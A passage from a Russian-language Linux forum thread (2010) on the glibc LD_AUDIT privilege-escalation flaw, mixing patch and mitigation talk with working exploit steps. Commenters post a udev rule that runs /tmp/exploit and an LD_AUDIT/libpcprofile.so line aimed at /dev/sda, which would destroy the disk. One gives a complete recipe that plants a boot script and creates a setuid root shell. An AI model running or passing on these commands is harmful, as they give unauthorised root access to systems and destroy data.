    $ printf 'SUBSYSTEM!="usb_device", GOTO="end"\n ACTION!="add", GOTO="end"\n ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"\n LABEL="end"\n' > /etc/udev/rules.d/45-svistok.rules

    $ cat /etc/udev/rules.d/45-svistok.rules

    SUBSYSTEM!="usb_device", GOTO="end"
    ACTION!="add", GOTO="end"
    ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"
    LABEL="end"


     
  • 4.105, Kostik (??), 22:49, 26/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > интересно, а куда еще можно
    > чего засунуть, чтобы получить рута?

    apache+mpm_itk

     

  • 1.95, gogo (?), 16:02, 24/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Для RHEL libmemusage.so входит в совсем необязательный rpm glibc-utils
    Хотфикс - деинсталлировать этот пакет ;)
     
     
  • 2.97, xdsl (?), 08:31, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Тут на лоре такой вариант предложили для особо упорствующих:
    umask 0 ; LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/dev/sda" ping
     
     
  • 3.98, утер (?), 08:34, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    для особо одаренных пожалуй надо повторить:
    не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happy
     
     
  • 4.100, AX (?), 09:47, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happy

    Во-первых, не во всех дистрах glibc и glibc-utils разделены.
    Во-вторых, libpcprofile.so — не единственная библиотека, которую можно использовать.

     
  • 4.101, анончик (?), 13:12, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    тут ошибка не конкретная, а системная. и этот и предыдущий баг нужно фиксить во избежание. игры с огнем никому не нужны
     

  • 1.99, i (??), 09:12, 25/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    sys-libs/glibc-2.11.2 не работает
    Oct 25 09:18:01 cron[3032]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
    ну и что, что файл создался толку то...
     
     
  • 2.102, аноним (?), 20:16, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    если не получается с помощью cron то есть другие методы, например ниже изложен метод получения прав root для Arch Linux. А вообще суть этой уязвимости в том, что можно создать файлы с правами на запись в них для обычного пользователя, в тех каталогах в которых это делать запрещено.

    на Arch Linux я получил консоль с правами root(запустив после рестарта системы из консоли обычного пользователя команду /usr/bin/sdash) использовав эти указания из аналогичной темы на LOR:

    especially for ArchLinux users:

    umask 0
    LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/rc.d/functions.d/exploit" ping
    echo -e '#!/bin/bash\ncp /bin/dash /usr/bin/sdash\nchmod u+s /usr/bin/sdash' > /etc/rc.d/functions.d/exploit
    sudo reboot

    /usr/bin/sdash -c 'whoami'
    /usr/bin/sdash -c 'rm -f /usr/bin/sdash /etc/rc.d/functions.d/exploit'

     
     
  • 3.106, nik (??), 14:59, 27/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    в генте в нестабильном профиле приехал glibc-2.12.1-r2 сегодня
    дыра закрыта
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру